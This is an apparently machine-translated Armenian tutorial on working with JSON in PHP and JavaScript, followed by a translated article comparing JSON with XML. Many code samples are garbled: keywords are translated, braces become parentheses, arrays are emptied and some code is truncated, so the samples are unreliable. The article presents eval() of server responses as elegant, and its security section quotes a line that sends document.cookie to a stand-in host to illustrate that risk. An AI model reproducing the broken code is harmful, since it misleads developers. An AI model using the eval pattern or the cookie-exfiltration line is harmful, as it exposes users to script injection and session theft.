PHP լեզվով 5.2 տարբերակից սկսած: կա ընդամենը 4 գործառույթ.

• json_decode - վերծանում է JSON տողը (տվյալներ է ստանում json ձևաչափի տողից)
• json_encode - Վերադարձնում է տվյալների JSON ներկայացում (տվյալները փոխակերպում է json տողի)
• json_last_error_msg - Վերադարձնում է տող, որը ցույց է տալիս վերջին զանգի սխալի հաղորդագրությունը json_encode() կամ json_decode()
• json_last_error - Վերադարձնում է վերջին սխալը

Հիմնականում, մեծ մասամբ, օգտագործվում է միայն երկու գործառույթ՝ json_encode և json_decode: Ես չեմ խորանա դրանց շարահյուսության մանրամասների մեջ, ավելի մանրամասն կարող եք նայել php.net-ին: Օգտագործման օրինակ.

$arr1 = զանգված (0,1,2); $json_str = json_encode ($arr1); echo $json_str; // դուրս կգա json տող՝ $arr2 = json_decode($json_str); արձագանք $arr2; // դուրս կգա՝ 1

Խնդրում ենք նկատի ունենալ. ռուսերեն տվյալները JSON ձևաչափով կոդավորելիս json_encode ֆունկցիան ռուսերեն նիշերը վերածում է Յունիկոդի, այսինքն. փոխարինում է դրանք \uXXXX-ով և այդպիսով json տողը դառնում է անընթեռնելի մարդկանց համար (բայց հասկանալի բրաուզերի համար): Եթե ​​ցանկանում եք խուսափել Unicode-ի փոխարկումից (օրինակ՝ կոդը վրիպազերծելիս), կարող եք պարզապես օգտագործել JSON_UNESCAPED_UNICODE տարբերակը:

Նաև, որպեսզի կոդավորման ընթացքում չավելացվեն շեղերը, և որպեսզի թվերով տողերը կոդավորվեն որպես թվեր, կարող եք օգտագործել JSON_UNESCAPED_SLASHES և JSON_NUMERIC_CHECK: Արդյունքում, json տողը մարդու համար ընթեռնելի դարձնելու համար մենք կանենք, օրինակ, սա.

$arr = array ("fio" => "Իվանով Սերգեյ", "տարիքը" => "32", "vk_url" => "https://vk.com/id11111"); echo json_encode ($arr, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_NUMERIC_CHECK);

Առանց այս ընտրանքների օգտագործման տողը կլինի հետևյալը.

( "fio": "\u0418\u0432\u0430\u043d\u043e\u0432 \u0421\u0435\u0440\u0433\u0435\u0439", "տարիքը": "32", "vk_url" /vk.com\/id11111")

և օգտագործելով ընտրանքները, մենք ստանում ենք ընթեռնելի տող.

( «fio» : «Իվանով Սերգեյ», «տարիք» : 32, «vk_url» : «https://vk.com/id11111» )

Եվս մեկ կետ. եթե ցանկանում եք, որ json_decode ֆունկցիան վերադարձնի զանգված json տողը ապակոդավորելիս, պարզապես երկրորդ պարամետր ավելացրեք ֆունկցիային, որը հավասար է true-ին:

$json_str = "( "a":1, "b":2, "c":3 )"; $obj = json_decode ($json_str); // ստանալ օբյեկտի echo $obj->a; // դուրս կգա 1 $arr = json_decode ($json_str, true); // ստանալ ասոցիատիվ զանգված echo $arr["a"]; // կտպվի 1

Սա ավարտում է PHP գործառույթների իմ վերանայումը:

JavaScript գործառույթներ JSON ձևաչափով աշխատելու համար

Սկսենք նրանից, որ JSON ձևաչափը ի սկզբանե ստեղծվել է JavaScript լեզվի համար, այնուհետև դարձել է պարզապես առանձին տեքստի ձևաչափ, որն օգտագործվում է տարբեր լեզուներով: Ըստ երևույթին, սա է պատճառը, որ JSON շարահյուսությունը շատ նման է սովորական առարկաներ և զանգվածներ գրելու շարահյուսությանը:

// JavaScript-ում զանգվածի օրինակ arr = ; զգուշացում (arr); // կցուցադրի 1 // JavaScript-ում օբյեկտի օրինակ obj = ( "name": "Vasya", "age": 35, "isAdmin": false ) alert(obj.name); // տպելու է «Վասյա»

JavaScript ֆունկցիաները, որոնք օգտագործվում են JSON ձևաչափից և դրանցից փոխարկելու համար.

• JSON.parse - JSON տողի վերծանում (տողը վերածելով օբյեկտների և/կամ զանգվածների)
• JSON.stringify - վերադարձնում է տվյալների JSON ներկայացում (օբյեկտները և/կամ զանգվածները վերափոխելով json տողի)

json տողի վերծանման պարզ օրինակ թվերով զանգվածի մեջ.

Str = ""; arr = JSON.parse(str); զգուշացում (arr); // կտպվի 1

Օբյեկտը JSON տողի վերածելու (սերիականացման) օրինակ.

Obj = ( «անունը»: «Վասյա», «տարիքը»: 35, «isAdmin»: false ) alert(JSON.stringify(obj)); // կցուցադրվի ("name":"Vasya", "age":35,"isAdmin":false)

Օբյեկտը սերիականացնելիս (վերափոխելիս) JSON տողի, կանչվում է այս օբյեկտի toJSON մեթոդը, եթե այն գոյություն ունի: Եթե ​​մեթոդ չկա, ապա նշված են օբյեկտի բոլոր հատկությունները: ToJSON մեթոդով օբյեկտի փոխակերպման օրինակ.

Obj = ( «անունը»: «Վասյա», «տարիքը»: 35, «isAdmin»: false, toJSON: function() ( return this.age; ) ) alert(JSON.stringify(obj)); // տպելու է 35

JSON ձևաչափի գործնական կիրառման օրինակներ

Իրականում, ես անձամբ օգտագործում եմ JSON ձևաչափը 2 հիմնական իրավիճակներում.

1. Տվյալների փոխանցում բրաուզերի և սերվերի միջև Ajax հարցումների միջոցով:

Օրինակ, մենք ունենք որոշ էջ, որտեղ մենք պետք է թարմացնենք տվյալները՝ առանց էջը վերաբեռնելու: Ենթադրենք, ձեզ անհրաժեշտ է տեղեկատվություն աշխատողների ցուցակով և նրանց տվյալները սերվերից «ներբեռնելու» համար:

JavaScript-ում, օգտագործելով jQuery, մենք այն պարզեցնում ենք և տվյալները զննարկիչում ցուցադրում ենք աղյուսակի տեսքով.

$.getJSON("get-info.php").success(function(data) ( // ajax հարցում, սերվերից տվյալները կգրվեն տվյալների փոփոխականում htmlstr = "

«; համար (var i=0; i «Իվանով Սերգեյ», «ծննդյան օր» => «03/09/1975»); $user_info = զանգված («fio» => «Ալեքսեյ Պետրով», «ծննդյան օր» => " 09/18. 1983"); echo json_encode ($user_info); ելք;

Այս օրինակում JSON տողը, որը սերվերից փոխանցվել է դիտարկիչին, այսպիսին էր.

[(«fio»: «Սերգեյ Իվանով», «ծննդյան օր»: «03/09/1975»), («fio»: «Ալեքսեյ Պետրով», «ծննդյան օր»: «09/18/1983»)]

Ես միտումնավոր չէի ցույց տալիս գիծը «ծառի» տեսքով, քանի որ այն փոխանցվում է հենց այս ձևով. Եվ ինչպես կարող եք գնահատել, JSON ձևաչափով տվյալների ձայնագրումը շատ կոմպակտ է ստացվել, ինչը նշանակում է, որ այս տվյալների փոխանցումը սերվերից բրաուզեր կլինի գրեթե ակնթարթային:

2. Տվյալների բարդ կառուցվածքներ տվյալների բազայում գրելը:

Երբեմն լինում են իրավիճակներ, երբ նպատակահարմար չէ տվյալների բազայում այլ աղյուսակ ստեղծել՝ տարբեր տվյալներ պահելու համար։ Ենթադրենք, կայքում գրանցված օգտվողը հնարավորություն ունի հարմարեցնել ֆոնի գույնը և տեքստի գույնը:

2 կարգավորումների համար մեկ այլ աղյուսակ ստեղծելու փոխարեն, դուք կարող եք պարզապես աղյուսակում ստեղծել տեքստային սյունակ՝ օգտատերերի ցանկով, որտեղ տեղադրեք օգտվողի կարգավորումների տվյալները: Այնուհետև կարգավորումների թարմացման հարցումը կարող է, օրինակ, լինել հետևյալը.

UPDATE users SET settings = "("background-color":"#FFFFFF", "text-color":"#000000")" WHERE user_id = 10

Հետագայում, օգտատերերի աղյուսակից տեղեկատվություն ստանալով, php սկրիպտը հեշտությամբ կարող է դրանք նորից վերածել կարգավորումներով զանգվածի։ Օրինակ, եթե $user_info փոփոխականը պարունակում է օգտվողների աղյուսակից օգտվողի համար ստացված տվյալներ, պարամետրերով զանգված ստանալը շատ պարզ է.

$settings = json_decode ($user_info["settings"], true); echo "Background color = ".$settings["background-color"]; echo "Text color = ".$settings["text-color"];

JSON ձևաչափով կարող եք նաև, օրինակ, տվյալների բազայում գրանցել, թե գնորդը որ ապրանքի տարբերակներն է ընտրել:

("15":["45","47"], "18":"52") // 15-րդ տարբերակում ընտրված են 45 և 47 արժեքները, իսկ 18-րդ տարբերակն ունի ընտրված 52 արժեքը

Սկզբունքորեն, դուք կարող եք նույնիսկ գրել զամբյուղի ամբողջ բովանդակությունը JSON ձևաչափով, օրինակ, այսպես.

( "user_id" : 10, "session_id" : "2c2l3h4ii271aojentejtdcmh3", "products": [ ( "product_id" : 15, "options" : ( "15" : , "18" : 52), "քանակ" : 1, "price" : 1500 ), ( "product_id" : 16, "options" : ( "15" : , "18" : 51 ), "քանակ" : 2, "price" : 1000 ) ] )

Իր սովորական ոչ ծառային ձևով այս JSON տողը այսպիսին կլինի.

("user_id":10,"session_id":"2c2l3h4ii271aojentejtdcmh3","products":[("product_id":15,"options":("15":,"18":52), "քանակ":1 , "գին":1500),("product_id":16,"options":("15":,"18":51),"քանակ":2,"գին":1000)])

Այսպիսով, ինչպես երևում է օրինակներից, գրեթե ցանկացած տեղեկատվություն կարող է պահպանվել և փոխանցվել JSON ձևաչափով։

JSON (JavaScript Object Notation) տվյալների փոխանցման ձևաչափ է: Ինչպես անունն է հուշում, ձևաչափը հիմնված է JavaScript ծրագրավորման լեզվի վրա, բայց այն հասանելի է նաև այլ լեզուներով (Python, Ruby, PHP, Java):

JSON-ն օգտագործում է .json ընդլայնումը: Երբ օգտագործվում է այլ ֆայլի ձևաչափերում (օրինակ՝ .html), JSON տողը մեջբերում է կամ վերագրվում է փոփոխականին: Այս ձևաչափը հեշտությամբ փոխանցվում է վեբ սերվերի և հաճախորդի կամ բրաուզերի միջև:

Թեթև և հեշտ հասկանալի JSON-ը հիանալի այլընտրանք է XML-ին:

Այս ձեռնարկը ձեզ կներկայացնի JSON-ի առավելությունները, օբյեկտները, ընդհանուր կառուցվածքը և շարահյուսությունը:

JSON շարահյուսություն և կառուցվածք

JSON օբյեկտը բանալի-արժեքի տեսքով է և սովորաբար գրվում է գանգուր փակագծերով: JSON-ի հետ աշխատելիս բոլոր օբյեկտները պահվում են .json ֆայլում, սակայն դրանք կարող են գոյություն ունենալ նաև որպես առանձին օբյեկտներ ծրագրի համատեքստում:

JSON օբյեկտն ունի հետևյալ տեսքը.

"first_name" : "John",
"last_name" : "Սմիթ",
"location": "London",
«առցանց»՝ ճիշտ է,
«հետևորդներ»՝ 987

Սա շատ պարզ օրինակ է։ JSON օբյեկտը կարող է պարունակել բազմաթիվ տողեր:

Ինչպես տեսնում եք, օբյեկտը կազմված է բանալի-արժեք զույգերից, որոնք փակված են գանգուր փակագծերում: JSON-ում տվյալների մեծ մասը գրված է որպես օբյեկտ:

Բանալու և արժեքի միջև դրվում է երկու կետ: Յուրաքանչյուր զույգից հետո պետք է ստորակետ դնել: Արդյունքը հետևյալն է.

«բանալին»՝ «արժեք», «բանալի»՝ «արժեք», «բանալի»՝ «արժեք»

JSON ստեղնը ձախ կողմում է: Բանալին պետք է տեղադրվի կրկնակի չակերտների մեջ: Ցանկացած վավեր տող կարող է օգտագործվել որպես բանալի: Մեկ օբյեկտի ներսում բոլոր ստեղները պետք է եզակի լինեն: Բանալին կարող է պարունակել բացատ («անուն»), սակայն ծրագրավորումը կարող է խնդիրներ ունենալ նման բանալի մուտք գործելու հետ: Հետևաբար, բացատների փոխարեն ավելի լավ է օգտագործել ընդգծված նշանը («first_name»):

JSON արժեքները սյունակի աջ կողմում են: Ցանկացած պարզ տվյալների տեսակ կարող է օգտագործվել որպես արժեք.

• Լարային
• Թվեր
• Օբյեկտներ
• Զանգվածներ
• Բուլյան տվյալներ (ճիշտ կամ սխալ)

Արժեքները կարող են ներկայացվել նաև տվյալների բարդ տեսակներով (օրինակ՝ օբյեկտներ կամ JSON զանգվածներ):

JSON-ն աջակցում է անհատական ​​շարահյուսություն վերը թվարկված տվյալների տեսակներից յուրաքանչյուրի համար. եթե արժեքը ներկայացված է տողով, ապա այն կմեջբերվի, իսկ եթե այն թիվ է, ապա՝ ոչ:

Սովորաբար, .json ֆայլերի տվյալները գրվում են սյունակում, բայց JSON-ը կարող է գրվել նաև անընդմեջ.

( "first_name" : "John", "last_name": "Smith", "online": true, )

Այսպես JSON տվյալները սովորաբար գրվում են այլ ֆայլերի տեսակների վրա:

JSON տվյալները սյունակում գրելով՝ դուք բարելավում եք ֆայլի ընթեռնելիությունը (հատկապես, եթե ֆայլում շատ տվյալներ կան)։ JSON-ն անտեսում է սյունակների միջև եղած տարածությունները, այնպես որ կարող եք դրանք օգտագործել՝ ձեր տվյալները կառավարելի թվով սյունակների բաժանելու համար:

"first_name" : "John",
"last_name" : "Սմիթ",
«առցանց» : ճշմարիտ

Նկատի ունեցեք, որ JSON օբյեկտները շատ նման են JavaScript օբյեկտներին, բայց դրանք նույն ձևաչափը չեն: Օրինակ, դուք կարող եք գործառույթներ օգտագործել JavaScript-ում, բայց ոչ JSON-ում:

JSON-ի հիմնական առավելությունն այն է, որ այս ձևաչափով տվյալները աջակցվում են ծրագրավորման շատ հայտնի լեզուներով, ուստի դրանք կարող են արագ փոխանցվել:

Այժմ դուք ծանոթ եք հիմնական JSON շարահյուսությանը: Բայց JSON ֆայլերը կարող են ունենալ բարդ, հիերարխիկ կառուցվածքներ, որոնք ներառում են տեղադրված զանգվածներ և օբյեկտներ:

Բարդ տեսակները JSON-ում

JSON-ը կարող է պահել տեղադրված առարկաներ և զանգվածներ, որոնք կփոխանցվեն որպես նրանց հատկացված բանալու արժեք:

Բնադրված առարկաներ

Ստորև դուք կգտնեք մի օրինակ՝ users.json ֆայլը, որը պարունակում է օգտվողի տվյալներ։ Յուրաքանչյուր օգտագործողի համար

(«Ջոն», «Ջեսս», «Դրյու», «Ջեյմի») որպես արժեք փոխանցվում է ներդիր օբյեկտ, որն, իր հերթին, նույնպես բաղկացած է բանալիներից և արժեքներից։

Նշում․ առաջին տեղադրված JSON օբյեկտը ընդգծված է կարմիրով։

«Ջոն» :(
«օգտանուն» : «Ջոն»,
"location": "London",
«առցանց»՝ ճիշտ է,
«հետևորդներ»՝ 987

«Ջեսի» :(
"օգտանուն": "Jesse",
«գտնվելու վայրը»՝ «Վաշինգտոն»,
«առցանց»՝ կեղծ,
«հետևորդներ»՝ 432

«նկարեց» :(
"օգտանուն": "Drew",
"գտնվելու վայրը": "Փարիզ",
«առցանց»՝ կեղծ,
«հետևորդներ»՝ 321

«Ջեյմի» :(
«օգտանուն» : «Ջեյմի»,
«գտնվելու վայրը»՝ «Բեռլին»,
«առցանց»՝ ճիշտ է,
«հետևորդներ»՝ 654

Նկատի ունեցեք, որ գանգուր բրեկետներն օգտագործվում են ինչպես ներդիր, այնպես էլ հիմնական առարկայի մեջ: Ստորակետները տեղադրված օբյեկտներում օգտագործվում են այնպես, ինչպես կանոնավոր օբյեկտներում:

Ներդրված զանգվածներ

Տվյալները կարող են տեղադրվել JSON-ում՝ օգտագործելով JavaScript զանգվածները, որոնք կփոխանցվեն որպես արժեքներ: JavaScript-ն օգտագործում է քառակուսի փակագծեր () զանգվածի սկզբում և վերջում: Զանգվածը տվյալների պատվիրված հավաքածու է, որը կարող է պարունակել տարբեր տեսակի տվյալներ:

Զանգվածն օգտագործվում է մեծ քանակությամբ տվյալների փոխանցման համար, որոնք կարող են խմբավորվել: Օրինակ, եկեք փորձենք գրանցել օգտվողի տվյալները:

{
"first_name" : "John",
"last_name" : "Սմիթ",
"location": "London",
«կայքեր» : [

«նկարագրություն» : «աշխատանք»,
"URL": "https://www.johnsmithsite.com/"

},
{

"նկարագրություն": "Ուսուցումներ",
"URL": "https://www.johnsmithsite.com/tutorials"

"սոցիալական լրատվամիջոց" : [

«նկարագրություն»՝ «twitter»,
«հղում»՝ «https://twitter.com/johnsmith»

«նկարագրություն»՝ «facebook»,
«հղում»՝ «https://www.facebook.com/johnsmith»

"նկարագրություն": "github",
«հղում»՝ «https://github.com/johnsmith»

«Websites» և «social_media» ստեղներին որպես արժեքներ հատկացվում են զանգվածներ, որոնք տեղադրվում են քառակուսի փակագծերում:

Օգտագործելով ներկառուցված զանգվածներ և օբյեկտներ, դուք կարող եք ստեղծել տվյալների բարդ հիերարխիա:

JSON, թե XML:

XML-ը (eXtensible Markup Language) թույլ է տալիս պահպանել տվյալները մարդկանց և մեքենաների համար հեշտ հասկանալի ձևով: XML ձևաչափն աջակցվում է մեծ թվով ծրագրավորման լեզուներով:

XML-ը և JSON-ը շատ ընդհանրություններ ունեն: Այնուամենայնիվ, XML-ը պահանջում է շատ ավելի շատ տեքստ, ինչը նշանակում է, որ նման ֆայլերը ավելի մեծ են և դժվար է կարդալ և գրել: Ավելին, XML-ը մշակվում է միայն XML թարգմանչի միջոցով, մինչդեռ JSON-ը կարող է մշակվել պարզ ֆունկցիայի միջոցով: Ի տարբերություն JSON-ի՝ XML-ը չի կարող զանգվածներ պահել։

Եկեք համեմատենք երկու ֆայլ՝ դրանք պարունակում են նույն տվյալները, բայց առաջինը գրված է XML ձևաչափով, իսկ երկրորդը՝ JSON։

users.xml

Ջոն Լոնդոն

Ջեսսի Վաշինգտոն

Դրյու Փարիզ

Ջեյմի Բեռլին

users.json
(«օգտատերեր»: [

(«օգտանուն»՝ «Ջոն», «գտնվելու վայրը»՝ «Լոնդոն»),
("օգտանուն": "Jesse", "location": "Washington"),
("օգտանուն": "Drew", "location": "Paris"),
("օգտանուն": "JamieMantisShrimp", "location": "Berlin")

JSON-ը շատ կոմպակտ ձևաչափ է և չի պահանջում այնքան պիտակներ, որքան XML-ը: Բացի այդ, XML-ը, ի տարբերություն JSON-ի, չի աջակցում զանգվածներ:

Եթե ​​դուք ծանոթ եք HTML-ին, ապա կնկատեք, որ XML ձևաչափը շատ նման է դրան (մասնավորապես՝ պիտակները): JSON-ն ավելի պարզ է, պահանջում է ավելի քիչ տեքստ և ավելի հեշտ է օգտագործել, օրինակ, AJAX հավելվածներում:

Իհարկե, ձևաչափը պետք է ընտրվի՝ կախված հավելվածի կարիքներից։

Գործիքներ JSON-ի համար

JSON-ը սովորաբար օգտագործվում է JavaScript-ում, սակայն ձևաչափը լայնորեն կիրառվում է ծրագրավորման այլ լեզուներում:

JSON համատեղելիության և մշակման մասին լրացուցիչ տեղեկություններ կարելի է գտնել նախագծի կայքում և jQuery գրադարանում:

Հազվադեպ է լինում զրոյից JSON գրել: Սովորաբար, տվյալները բեռնվում են աղբյուրից կամ փոխարկվում են JSON-ի: Դուք կարող եք փոխակերպել CSV կամ ներդիրներով սահմանազատված տվյալները JSON-ի՝ օգտագործելով բաց կոդով Mr. Տվյալների փոխարկիչ. XML-ը JSON-ի և հակառակը փոխարկելու համար օգտագործեք utilities-online.info: Ավտոմատ գործիքների հետ աշխատելիս անպայման ստուգեք արդյունքները:

JSON ֆայլերը (ներառյալ փոխարկված տվյալները) կարելի է ստուգել JSONLint ծառայության միջոցով: JSON-ը վեբ մշակման համատեքստում փորձարկելու համար այցելեք JSFiddle:

Եզրակացություն

JSON-ը տվյալների պարզ և թեթև ձևաչափ է: JSON ֆայլերը հեշտ է փոխանցել, պահել և օգտագործել:

Այսօր JSON-ը հաճախ օգտագործվում է API-ներում:

• Թարգմանություն

Նշում. ստորև ներկայացված է «JSON vs XML» վերանայման հոդվածի թարգմանությունը, որը նվիրված է JSON-ին և դրա համեմատությունը XML-ի հետ մի շարք չափանիշների համաձայն: Հրապարակվել է JSON-ը Habrahabr-ի ընթերցողների շրջանում հանրահռչակելու նպատակով:

JSON (JavaScript Object Notation) տվյալների փոխանակման ձևաչափ է, որը հեշտ է կարդալ մարդկանց կողմից, հեշտ է մշակել և ստեղծել ծրագրերի կողմից:

Հիմնված է JavaScript լեզվի ենթաբազմության վրա՝ Standard ECMA-262 3rd Edition - 1999 թվականի դեկտեմբեր:

JSON - Վիքիպեդիա

Ո՞րն է AJAX հավելվածներում XMLHttpRequest-ի պատասխանի ճիշտ ձևաչափը: Նշման վրա հիմնված հավելվածների մեծ մասի համար պատասխանը պարզ է՝ (X)HTML: Տեղեկատվակենտրոն հավելվածների համար ընտրությունը լինելու է XML-ի և JSON-ի միջև: Մինչև վերջերս ես իսկապես չէի մտածում, թե որն է ավելի լավ օգտագործել՝ XML կամ JSON: Ես պարզապես ենթադրեցի, որ յուրաքանչյուր կոնկրետ դեպքում արժե ընտրել ամենահարմար ձևաչափը, վերջ: Բայց վերջերս ես հնարավորություն ունեցա փորձարկել այս մոտեցումը գործնականում: Այս գրառման մեջ ես նկարագրելու եմ այն ​​չափանիշները, որոնցով ես համեմատեցի XML-ի և JSON-ի միջև, և իմ սեփական եզրակացությունները:

Այսպիսով, չափանիշները հետևյալն են.

• Կոդի ընթեռնելիություն:
• Սերվերի կողմից տվյալների օբյեկտ ստեղծելու հեշտությունը:
• Հաճախորդի կողմից տվյալների հեշտ մշակում:
• Հեշտ է ընդլայնել:
• Վրիպազերծում և սխալի ուղղում:
• Անվտանգություն.

Կոդի ընթեռնելիություն

Անձ անձ = նոր Անձ (); person.setFirstName ("Subbu"); person.setLastName ("Allamaraju"); writer.write(JSONObject.fromObject(person).toString());

Եթե ​​հաշվի առնենք նման ծրագրավորման ինտերֆեյսների աշխատանքը, ապա JSON-ի ստեղծումը շատ չի տարբերվում Java լոբի օբյեկտների սերիականացումից: Այնուամենայնիվ, հարկ է նշել, որ այժմ կան XML-ի գեներացման շատ ավելի շատ եղանակներ, քան JSON-ը: Այս XML API-ներից մի քանիսը գոյություն ունեն երկար տարիներ և այդ պատճառով կարող են ավելի կայուն լինել, երբ օգտագործվում են բարդ ծրագրերի համար:

Մեկ այլ ասպեկտ, որը պետք է դիտարկել, կլինի այն ռեսուրսների քանակությունը, որոնք օգտագործվում են պատասխան ստեղծելու համար: Եթե ​​«ծանր» գործողություններ արդեն կատարվում են տվյալներ ստանալու ժամանակ, ապա սերվերի մասի համար դժվար չի լինի դրանք լրացուցիչ փոխակերպել XML-ի՝ պատասխանի համար: Եթե ​​XML-ի ստեղծումն ամենաշատ ռեսուրսներ պահանջող գործողությունն է, ապա ավելի լավ է օգտագործել JSON-ը:

Օգտագործման հեշտությունը

Հաճախորդի կողմից JSON տվյալների մշակումը որպես XMLHttpRequest-ի պատասխան չափազանց պարզ է:

Var անձ = eval (xhr.responseText); զգուշացում (person.firstName);

Օգտագործելով կանոնավոր eval() կարող եք պատասխանը վերածել JavaScript օբյեկտի: Այս գործողությունն ավարտվելուց հետո տվյալներին կարելի է մուտք գործել՝ օգտագործելով փոխարկված օբյեկտի հատկությունները: Սա բոլոր JSON-ի ամենաէլեգանտ մասն է:

Հիմա եկեք նայենք XML-ին: Ստորև բերված կոդի հատվածն ավելի թափանցիկ դարձնելու համար ես հանել եմ բոլոր սխալների ստուգումը:

"անուն");

Ակնհայտ է, որ սերվերից ստացված տվյալները մշակելիս անհրաժեշտ է դիտարկել ամբողջ DOM ծառը: Սա շատ աշխատատար գործողություն է և հակված է սխալների: Ցավոք, բրաուզերում մենք պետք է գործ ունենանք DOM-ի հետ: Զննարկիչները չեն աջակցում հարցման լեզու, ինչպիսին է XPath-ը, XML փաստաթղթում ծառի հանգույցները վերբերելու համար: Այս գործառույթների աջակցությունն արդեն կիրառվում է XSLT-ի համար, սակայն այն բավականին սահմանափակ է ( Նշում. բրաուզերում) XML-ը նշագրման փոխակերպելու առումով (օրինակ՝ HTML): Վեբ ինտերֆեյսների աշխատանքային խումբ ( Վեբ API աշխատանքային խումբ) W3C-ից աշխատում է ընտրիչի ինտերֆեյսի վրա ( Selectors API), որը կարող է օգտագործվել՝ կիրառելու CSS ընտրիչները Document օբյեկտից հանգույցներ ընտրելիս: Օգտագործելով նման ինտերֆեյս, հնարավոր կլինի վերը նշված օրինակի կոդը վերափոխել xml.match("person.firstName")՝ ստանալով firstName տարրը: Սա մեծ ձեռքբերում չէ այս օրինակում XML փաստաթղթի համար, բայց այն կարող է օգտակար լինել բարձր ճյուղավորված փաստաթղթերի հետ աշխատելու համար: Այս ինտերֆեյսը դեռ ամբողջական չէ, և բրաուզերների կողմից այն կաջակցեն տարիներ:

Ընդհանրապես, եթե ես պետք է ընտրեմ XML-ի և JSON-ի միջև, ես կնախընտրեմ JSON-ը՝ հաճախորդի կողմից մշակման իրականացման հեշտության պատճառով:

Ընդարձակելիություն

Ընդարձակելիությունը օգնում է նվազեցնել տվյալների մատակարարի և ստացողի միջև հաղորդակցությունների քանակը: AJAX հավելվածների համատեքստում հաճախորդի կողմի սկրիպտը պետք է բավականաչափ անփոփոխ լինի՝ կապված տվյալների համատեղելի փոփոխությունների հետ:

Ընդհանուր համոզմունքն այն է, որ XML-ը ինքնաբերաբար ընդարձակվում է պարզապես «X» տառի առկայության շնորհիվ: Բայց սա անվերապահ կանոն չէ (այսինքն՝ լռելյայն գործել): XML ընդարձակելիությունը հիմնված է այն սկզբունքի վրա, որ դուք կարող եք սահմանել լրացուցիչ հանգույցներ ձեր XML-ում, այնուհետև կիրառել «բաց թողնել այն, ինչ անհրաժեշտ չէ» կանոնը (այսինքն, եթե XML-ը մշակելիս հանդիպեք անծանոթ տարրի կամ հատկանիշի, պարզապես բաց թողեք այն):

Ընդարձակելիությունից լիարժեք օգտվելու համար դուք պետք է գրեք հաճախորդի կողմի կոդը՝ հաշվի առնելով ընդարձակելիությունը: Օրինակ, հետևյալ օրինակը կփչանա, եթե ցանկանում եք տեղադրել, օրինակ, MiddleName տարրը:

Var xml = xhr.responseXML; var տարրեր = xml.getElementsByTagName("firstName"); var firstNameEl = տարրեր[0]; var lastNameEl = firstNameEl.nextSibling;

Եթե ​​տարրից անմիջապես հետո տեղադրեք տարր, այս օրինակը կհանգեցնի նրան, որ միջին անունը սխալ մեկնաբանվի որպես ազգանուն: Այս փոփոխության նկատմամբ անփոփոխ լինելու համար կոդը պետք է վերաշարադրվի, որպեսզի հստակորեն ստանա տարրը, կամ մուտք գործի nextSibling միայն այն դեպքում, եթե գտնվի ցանկալի պիտակի անունը ունեցող երեխա: Այսպիսով, XML-ը ընդարձակելի է այնքան ժամանակ, քանի դեռ դուք գրում եք կոդը՝ նկատի ունենալով ապագա ընդարձակելիությունը: Ամեն ինչ չափազանց պարզ է.

Եկեք վերադառնանք JSON: Ես պնդում եմ, որ ավելի հեշտ է ընդլայնել JSON տվյալները, քան XML-ը: Սա, անկասկած, ավելի քիչ ջանք է պահանջում: Եկեք քննարկենք JSON պատասխանին MiddleName հատկությունը ավելացնելու մասին: Այն մուտք գործելու համար պարզապես անհրաժեշտ է զանգահարել այն:

Զգուշացում (person.middleName);

Այս կոդը չի փոխվի, եթե ձեր պատասխանին երկրորդ անուն ավելացնեք: Բայց ի՞նչ անել հայրանունով կամ առանց անձին վերամշակելու դեպքում։ JSON-ի հետ դա հեշտ է:

if (person.middleName) ( // Մշակվում է)

Իմ դիրքորոշումն այն է, որ եթե նկատի առնվի հնարավոր ապագա ընդարձակելիությունը, և՛ XML, և՛ JSON տվյալները կարող են երկարաձգվել: Բայց ավելի հեշտ է ընդլայնել տվյալները JSON-ով, քան XML-ով: Պարզապես պետք է ստուգել, ​​որ օբյեկտի վրա առկա է պահանջվող հատկությունը և գործել ըստ ստուգման արդյունքի։

JSON տվյալների ընդլայնման մեկ այլ տարբերակ է օգտագործել գործառույթի զանգերը տվյալների հայտարարագրերի հետ անմիջապես պատասխանում:

Զգուշացում («Ողջույն - ես մարդ եմ»); ((«firstName»: «Subbu», «LastName»: «Allamaraju»));

Երբ տվյալները հայտարարվում են eval()-ի միջոցով, զննարկիչը կկանչի նաև alert() արտահայտությունը: Այս դեպքում դուք կարող եք և՛ բեռնել տվյալները, և՛ կատարել գործառույթներ: Այս մոտեցումը պետք է օգտագործվի մեծ զգուշությամբ, քանի որ այն խաթարում է պատասխանը ֆունկցիայի կանչերով և կապ է ստեղծում զանգերի և տվյալների միջև: Որոշ աղբյուրներ քննարկում են նաև այս մոտեցման անվտանգության հնարավոր խոցելիությունները, որոնք ավելի մանրամասն քննարկվում են ստորև:

Վրիպազերծում և սխալի ուղղում

Այս ասպեկտը վերաբերում է ինչպես ձեր հավելվածի սերվերի, այնպես էլ հաճախորդի կողմին: Սերվերի վրա դուք պետք է համոզվեք, որ տվյալները ճիշտ են ձևավորված և ճիշտ: Հաճախորդի կողմից պատասխանի սխալները պետք է հեշտ լինի կարգաբերել:

XML-ի միջոցով համեմատաբար հեշտ է ստուգել, ​​որ հաճախորդին ուղարկված տվյալները լավ ձևավորված են և ճիշտ: Դուք կարող եք օգտագործել սխեման ձեր տվյալների համար և կիրառել այն տվյալների վավերացման համար: JSON-ի միջոցով այս առաջադրանքը դառնում է ձեռքով և պահանջում է ստուգել, ​​որ արդյունքում օբյեկտն ունի ճիշտ հատկանիշներ:

Հաճախորդի կողմից երկու դեպքում էլ դժվար է հայտնաբերել սխալները: XML-ի համար զննարկիչը պարզապես չի կարողանա այն փոխարկել answerXML-ի: Փոքր քանակությամբ JSON տվյալների դեպքում կարող եք օգտագործել FireBug ընդլայնումը վրիպազերծման և սխալների ուղղման համար: Բայց մեծ քանակությամբ տվյալների դեպքում ինչ-որ չափով դժվար է դառնում սխալի հաղորդագրությունը կոդում որոշակի վայրի հետ փոխկապակցելը:

Անվտանգություն

Դեյվ Ջոնսոնը JSON and the Golden Fleece-ի իր գրառման մեջ ենթադրում է, որ JSON-ը կարող է անվտանգության խնդիրներ առաջացնել: Նշման էությունը կայանում է նրանում, որ եթե թույլ եք տալիս JSON պատասխաններում տվյալների հետ միասին մուտքագրել ֆունկցիայի կանչեր և պատասխանը մշակելու համար օգտագործեք eval(), ապա դուք կամայական կոդ եք գործադրում, որն իրականում արդեն կարող է անվտանգության վտանգ պարունակել։

Window.location = «http://badsite.com?» + document.cookie; անձ՝ ( "firstName" : "Subbu", "LastName": "Allamaraju" )

